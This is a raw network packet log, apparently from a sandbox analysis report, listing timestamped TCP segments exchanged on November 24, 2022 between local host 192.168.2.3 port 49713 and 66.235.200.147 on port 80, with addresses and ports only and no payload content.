Nov 24, 2022 16:57:36.771533012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771538019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771559954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771560907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771584034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771591902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771606922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771606922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771630049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771631956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771646976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771652937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771672010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771673918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771694899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771697044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771711111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771718979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771737099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771740913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771764040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771764040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771780014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771787882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771814108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771821022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771841049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771845102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771867037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771888018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771909952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771929979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771930933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771953106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771959066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771976948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.771980047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.771998882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772013903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772013903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772022963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772034883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772047043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772063017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772068977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772089958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772094965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772109032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772116899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772138119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772140026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772156954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772164106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772181034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772187948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772211075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772209883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772227049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772233963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772255898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772258043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772273064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772278070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772296906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772300005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772315979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772322893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772344112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772346020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772363901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772367954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772387028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772391081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772413969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772419930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772434950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772454023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772454023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772456884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772475004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772475004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772480011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772501945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772509098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772525072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772537947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772537947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772547960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772567987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772571087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772587061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772594929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772615910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772617102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772638083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772639036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772656918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772664070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772686005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772686005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772706985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772716999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772727966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772748947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772768021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772779942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772797108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772810936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772825956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772840977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772855997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772871971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772885084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772902012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772917032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772932053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772945881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772963047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.772974968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.772994995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773009062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773024082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773036957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773053885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773067951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773083925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773104906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773116112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773133039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773148060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773160934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773180008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773191929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773214102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773226023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773246050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773257017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773278952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773289919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773310900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773324966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773341894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773355961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773371935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773384094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773403883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773416996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773438931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773448944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773471117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773485899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773503065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773514986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773538113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773549080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773571014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773582935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773602962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773617029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773634911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773648977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773667097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773679972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773698092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773722887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773739100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773751974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773772955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773785114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773808956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773821115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773843050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773857117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773876905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773893118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773909092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773922920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773942947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773962021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.773972988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.773993015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774005890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774018049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774040937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774054050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774071932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774086952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774107933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774120092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774148941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774158955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774190903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774203062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774236917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774277925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774323940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774378061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774419069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774451971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774454117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774488926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774501085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774514914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774560928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774611950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774651051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774657011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774684906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774698019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774717093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774740934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774749041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.774753094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.774812937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794383049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794428110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794462919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794486046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794497967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794528961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794529915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794529915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794559002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794580936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794590950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794622898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794631958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794631958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794651985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794677019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794699907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794702053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794729948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794744015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794759035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794768095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794796944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794814110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794816017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794857025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794864893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794939995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.794955969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.794980049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795020103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795036077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795062065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795083046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795084000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795128107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795169115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795186043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795213938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795258045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795284033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795306921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795348883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795353889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795371056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795401096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795417070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795448065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795459986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795504093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795531034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795536995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795567989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795569897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795603037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795614958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795636892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795655012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795670033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795682907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795727015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795742035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795774937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795785904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795809031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795809031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795828104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795842886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795861959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795874119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795900106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795906067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795917988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795939922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.795958996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.795970917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796001911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796029091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796032906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796049118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796066046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796096087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796128035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796158075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796170950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796170950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796190977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796204090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796225071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796227932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796242952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796264887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796282053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796297073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796318054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796331882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796343088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796365976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796384096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796399117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796430111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796457052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796462059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796494961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796513081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796514034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796526909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796561003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796583891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796591997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796601057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796626091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796655893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796658039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796679020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796690941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796714067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796724081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796736956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796757936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796776056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796792030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796812057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796824932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.796844959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.796857119 CET	80	49713	66.235.200.147	192.168.2.3
